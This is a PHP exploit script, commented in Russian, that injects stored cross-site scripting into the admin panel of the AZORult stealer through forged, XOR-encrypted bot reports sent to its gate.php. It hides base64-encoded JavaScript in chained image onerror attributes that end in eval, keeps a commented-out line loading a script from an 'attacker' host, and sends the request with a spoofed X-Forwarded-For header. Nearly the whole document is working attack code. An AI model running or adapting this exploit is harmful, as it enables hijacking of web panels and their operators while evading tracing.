<?php
/////////////
// Домен с вашим скриптом
$xss="http://attacker/xss.js";
// Адрес гейта
$url="http://azorult30/gate.php";
//////////////
///
/// Дальше не трогать - магия
///

//$js_payload = base64_encode('t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="'.$xss.'";t.appendChild(n);');
$js_payload = base64_encode("alert('This is xss with no lenght limit.'); ");
$js_payload = str_replace("=","",$js_payload);

$lol = true;
$j=0; $result=array();
for($i=0;$i<=strlen($js_payload)+7;$i=$i+7){
    $kek = "1234567890abcdefghijklmnpoABCDEFGHIJKLMNPO";
    if(!empty(substr($js_payload,$i,7))){
        if($lol){
            $result[] = $kek[$j]." onerror=a=/".substr($js_payload,$i,7)."/.source ";
            $lol = false;
        }else{
            $result[] = $kek[$j]." onerror=a%2B=/".substr($js_payload,$i,7)."/.source ";
        }
    }
    $j++;
}
$result[] = "X onerror=b%3DBase64.decode(a) ";
$result[] = "../Z onerror=eval(b) ";
$n="";
$i=count($result)+3;
foreach($result as $l){
    while($i>$k){
    $n.="1|".$l."|http://anonchik.com|tobi|pizda|admin|pass\r\n";
    $k++;
    }
    $k=0;
    $i--;
}

$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
".$n."
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid.">
</file".$guid.">";

$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
  $data[$i] = chr(ord($data[$i])^ord($key[$j]));
  $j++;
  if($j>($keylen-1)) $j=0;
}
return $data;
}
httpPost($url, $data);
echo $url." injected!";